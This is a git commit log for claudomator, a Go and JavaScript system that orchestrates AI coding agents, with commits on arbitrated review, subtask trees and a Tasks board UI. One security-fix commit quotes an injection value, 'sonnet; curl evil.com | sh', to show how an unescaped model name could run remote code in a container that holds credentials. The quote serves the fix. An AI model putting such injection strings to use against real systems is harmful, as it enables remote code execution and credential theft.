summaryrefslogtreecommitdiff
AgeCommit message (Collapse)Author
6 daysrefactor(scheduler): recurse processStory into a tree walk over every READY ↵Claudomator Agent
builder-role node
6 daysdocs: add implementation plan for recurse-processstory-tree-walk (piece 4b-3)Peter Stone
6 daysdocs: add piece 4b-3 plan (tree-walk arbitrated review)Peter Stone
6 daysrefactor(scheduler): generalize finalizeArbitration to any builder-role ↵Claudomator Agent
node, add nested fix-attempt spawning and acceptance-criteria fallback
6 daysdocs: add implementation plan for generalize-finalize-arbitration (piece 4b-2)Peter Stone
6 daysrefactor(executor): nested builder-role tasks go READY not COMPLETED, ↵Claudomator Agent
requiring external arbitrated review
6 daysdocs: add implementation plan for ↵Peter Stone
nested-builder-completion-follows-arbitration (piece 4b-1)
7 daysrefactor(scheduler): promote story root to COMPLETED only after arbitration ↵Claudomator Agent
approves it, not eagerly on READY
7 daysdocs: fix piece-4a plan's Step 14 -- do not attempt git push in-container ↵Peter Stone
(lesson from piece 3's dispatch saga)
7 daysdocs: add implementation plan for root-completion-follows-arbitration (piece 4a)Peter Stone
7 daysfix(task): add role check to CurrentAttempt so evaluators are not mistaken ↵Agent
for fix attempts; also exclude .agent-home from git
7 daysrefactor(scheduler): migrate story fix loop off RootTaskID re-pointing onto ↵Agent
CurrentAttempt resolution
7 daysdocs: add implementation plan to migrate story fix loop to CurrentAttemptPeter Stone
Piece 3 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md. Removes ensureFixAttempt's story.RootTaskID re-pointing write path, migrating processStory/processRetro/ensureFixAttempt onto task.CurrentAttempt resolution (piece 2b). RootTaskID becomes a true immutable anchor after this lands.
7 daysfeat(task,executor): add CurrentAttempt resolution, wire maybeUnblockParent ↵Claudomator Agent
to resolve through it
7 daysdocs: add implementation plan for CurrentAttempt resolutionPeter Stone
Piece 2b of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md. Builds the shared CurrentAttempt primitive (internal/task, behind a minimal TaskLookup interface so both executor.Store and scheduler.StoryStore can use it without duplication) and wires maybeUnblockParent to resolve through it. Deliberately does not touch ensureFixAttempt/story.RootTaskID (piece 3) or arbitrated-review triggering (piece 4) -- scoped to the isolated primitive plus its first real caller.
7 daysfix(api): reject accepting a BLOCKED task directlyPeter Stone
The nested-subtask-completion fix (ad00e18) necessarily added BLOCKED -> COMPLETED to task.ValidTransition so executor.Pool.maybeUnblockParent can complete a subtask whose own children all finished. That widened acceptTask's gate (shared by POST /api/tasks/{id}/accept and the chatbot MCP accept_task tool, which validates only via task.ValidTransition) to also permit accepting ANY BLOCKED task directly -- one still awaiting ask_user, or with genuinely incomplete subtasks -- bypassing the completion invariant this session's fix was built to protect. Caught by local subagent review of that fix. Not live in production: the deployed claudomator service is still on an earlier commit.
7 daysstyle: gofmt executor.go, executor_test.go, task.goPeter Stone
Pre-existing gofmt debt on all three files (confirmed dirty before this session's nested-subtask-completion commit too, not a regression) -- cleaned up while already touching these files.
7 daysfix(executor): support nested subtask decomposition ↵Claudomator Agent
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
7 daysdocs: add implementation plan for nested subtask completion fixPeter Stone
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md, discovered while grounding piece 2 in the real executor code: a subtask that itself spawns subtasks is incorrectly marked COMPLETED the instant its own agent turn ends, ignoring pending grandchildren. handleRunResult, maybeUnblockParent, and RecoverStaleBlocked all special-case "is this top-level" instead of "does this task have its own pending subtasks" -- a prerequisite bug fix the currentAttempt()/fix-loop generalization (piece 2b) depends on.
7 daysstyle: gofmt internal/executor and internal/agentloopPeter Stone
Task 2 of the task-acceptance-criteria plan copied the plan document's own misaligned struct-literal text verbatim without running gofmt afterward, newly breaking gofmt compliance on tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment in channel.go/channel_test.go while touching the same files.
7 daysfeat(agentchannel,executor,agentloop): expose acceptance_criteria on ↵Claudomator Agent
spawn_subtask
7 daysfeat(task,storage): add Task.AcceptanceCriteria, mirroring story.Story's patternClaudomator Agent
7 daysdocs: add implementation plan for Task.AcceptanceCriteriaPeter Stone
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's implementation order: adds the field the earlier 2026-07-08 spec incorrectly claimed already existed, and exposes it on spawn_subtask.
7 daysdocs: add design spec for recursive arbitrated review (supersedes root-only ↵Peter Stone
fix loop) Replaces the story.RootTaskID re-pointing mechanism shipped in 2026-07-09-story-fix-and-reevaluate-loop.md with a uniform currentAttempt() resolution that works identically at every depth of a story's task tree, not just the root. Also corrects the 2026-07-08 spec's incorrect claim that Task.AcceptanceCriteria already exists.
7 daysfeat(scheduler): automatically spawn and re-point a fix attempt when a story ↵Claudomator Agent
is rejected
7 daysdocs: add implementation plan for story fix-and-re-evaluate loopPeter Stone
Closes the recursive-story-decomposition design spec's "fix-and- re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead end requiring manual human intervention. Design decision (re-point story.RootTaskID at a fresh fix-attempt task, vs. spawning as a dependent of a fixed root) made with user input before writing this plan.
8 daysfeat(api): add create_story/get_story/list_stories/accept_story to chatbot MCPClaudomator Agent
8 daysrefactor(api): extract acceptStory service-layer helper, mirroring acceptTaskClaudomator Agent
8 daysdocs: add implementation plan for story-level chatbot MCP surfacePeter Stone
Scopes the "MCP surface: story-level tools, additive to what exists" piece of the recursive-story-decomposition design spec on its own, independent of the larger deferred per-node arbitrated-review generalization and builder role system-prompt work.
8 daysfeat(scheduler): finalizeArbitration consults a structured verdict instead ↵Claudomator Agent
of always routing to REVIEW_READY
8 daysfeat(agentloop,executor): expose report_verdict as a tool on both transportsClaudomator Agent
8 daystest(api): add missing ReportVerdict stub to fakeAgentChannelPeter Stone
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go but missed this second AgentChannel test double, which broke `go test ./...` (compile failure) even though `go build ./...` was clean.
8 daysfeat(agentchannel,executor): add ReportVerdict for structured approve/reject ↵Claudomator Agent
signals
8 daysfeat(event): add KindVerdictReportedClaudomator Agent
8 daysfeat(agentloop,executor): expose depends_on on the spawn_subtask toolClaudomator Agent
8 daysfeat(agentchannel): add DependsOn to SubtaskSpec so a decomposing task can ↵Claudomator Agent
order its own subtasks
8 daysdocs: add implementation plan for subtask ordering + structured verdict ↵Peter Stone
reporting Plan 1 of the recursive-story-decomposition design (see docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md). Deliberately scoped to two small, independent, fully-groundable additions -- SubtaskSpec.DependsOn and a structured report_verdict tool closing the "arbitration never parses its own verdict" gap -- rather than attempting the full recursive orchestrator rewrite in one pass. That rewrite becomes its own plan(s) once story_orchestrator_test.go (1023 lines of existing convention) has been read in full. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysdocs: add design spec for recursive story decompositionPeter Stone
Retro from the tasks-board build (see memory claudomator-sequential-orchestration-gap): claudomator has no native way to drive a stated intent through review-gated implementation to arbitrary depth -- that role was played by a human/chatbot controller hand-dispatching and re-dispatching all session. Design converged through several rejected drafts (a separate "chain mode" pipeline, a distinct Planner role) before landing on the actual shape: one role, one recursive decompose-or-evaluate mechanism, applied at every depth, with arbitrated multi-evaluator review running at every node instead of once at a story's outer level. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysfix(task): reject shell metacharacters in Agent.ModelPeter Stone
Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysdocs: add implementation plan for unified Tasks board (was never committed)Peter Stone
This should have been committed alongside the design spec (f626155) before task execution began. It wasn't -- every claudomator container that cloned this repo during the Tasks board build never actually had this file, since containers clone from the pushed remote, not the local working tree. Tasks dispatched with only a "read this file" instruction had nothing to read and silently improvised instead, which explains most of the review-cycle churn during that build far better than "the implementer didn't follow instructions" did. Committing now for the historical record and so the gap can't repeat for this specific file. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysfix(executor): pass --model to the claude CLI in ContainerRunnerPeter Stone
buildInnerCmd never read t.Agent.Model when constructing the container's claude -p invocation -- every Claude-type task silently ran on the CLI's own default model regardless of what was requested via submit_task or the role-based escalation ladder. Confirmed via execution logs: every task run this session showed claude-sonnet-4-6 regardless of the model parameter passed, which only went unnoticed because sonnet was requested every time. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
10 daysfix(web): restore running-log 300px height and close streams on card removalClaudomator Agent
CSS cascade fix: .task-log-tail.running-log combinator overrides .task-log-tail's 90px max-height for RUNNING/BLOCKED cards, restoring the intended 300px prominent log panel. Closes EventSource streams in taskLogStreams when cards are removed from the board. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysrefactor(web): remove dead old running/queue/ready/interrupted panel code ↵Claudomator Agent
(task 8) Delete renderQueuePanel, renderInterruptedPanel, renderReadyPanel, renderRunningView, startRunningLogStream (old version), updateRunningElapsed, isRunningTabActive, and the runningViewLogSources map — all superseded by renderTasksBoard (task 7) and ensureTaskLogStream (task 6). Zero remaining callers; all 315 JS tests pass. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add renderTasksBoard and wire tasks tab into renderActiveTab (task 7)Claudomator Agent
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add ensureTaskLogStream and taskLogStreams for task card log ↵Claudomator Agent
streaming (task 6) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add cardContentSignature to skip log-tail in render dedup (task 5)Claudomator Agent
Prevents renderTasksIntoContainer from tearing down and rebuilding a task card on every poll tick just because its .task-log-tail has accumulated streamed log lines. Exports cardContentSignature which walks the card element tree and returns a stable fingerprint that ignores .task-log-tail and .running-log subtrees. Also preserves the existing log-tail node across a real content-change swap so live EventSource streams survive. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web): correct elapsed timer class/location, log-tail coverage, and tests ↵Claudomator Agent
(task 4 reviewer findings) - Move elapsed timer span from card header to after meta block; add task-elapsed class alongside running-elapsed (Finding 1) - Replace PENDING/QUEUED-only log-tail div with full if/else: placeholder div.task-log-tail-placeholder for queue states, div.task-log-tail with dataset.logTarget for all other states (Finding 2) - Delete web/test/task-card-di.test.mjs; append correct tests to web/test/tasks-board.test.mjs covering log-tail and elapsed timer contracts (Finding 3) - Thread doc parameter through createEditForm, renderSubtaskRollup, and renderQuestionFooter so createTaskCard is fully testable without a browser DOM Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): extend createTaskCard with DI doc param, log-tail placeholder, ↵Claudomator Agent
elapsed timer (task 4) - Export createTaskCard and add `doc = document` parameter; replace every document.createElement call inside the function with doc.createElement, enabling unit testing without a real DOM. - RUNNING tasks: append a span.running-elapsed (data-started-at, elapsed text) to the card header, consistent with renderRunningView so updateRunningElapsed() picks it up automatically. - PENDING/QUEUED tasks: append div.task-log-tail > p.task-log-placeholder ("Waiting to start…") — the queue column has no execution yet, so a placeholder is shown instead of an empty log box. - New web/test/task-card-di.test.mjs covers DI doc plumbing, placeholder presence/absence, and elapsed-timer presence/absence across states. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web): reviewer findings on Tasks board CSS (task 3 follow-up)Claudomator Agent
- Change .tasks-column width from 300px to 220px (spec literal value) - Change .tasks-column-list max-height from 60vh to 70vh (spec literal value) - Add missing .task-log-tail and .task-log-tail-placeholder rules after .tasks-column-list Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add Tasks tab nav entry point and CSS column layoutClaudomator Agent
- Add <button data-tab="tasks"> to the nav bar (between Stories and Stats) - Add <div data-panel="tasks" hidden><div class="tasks-board"></div></div> to main as the panel container for the Tasks board - Add .tasks-board, .tasks-column, .tasks-column-header, .tasks-column-count, .tasks-column-list CSS rules (mirrors .stories-* layout; 300px columns to accommodate task card content) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>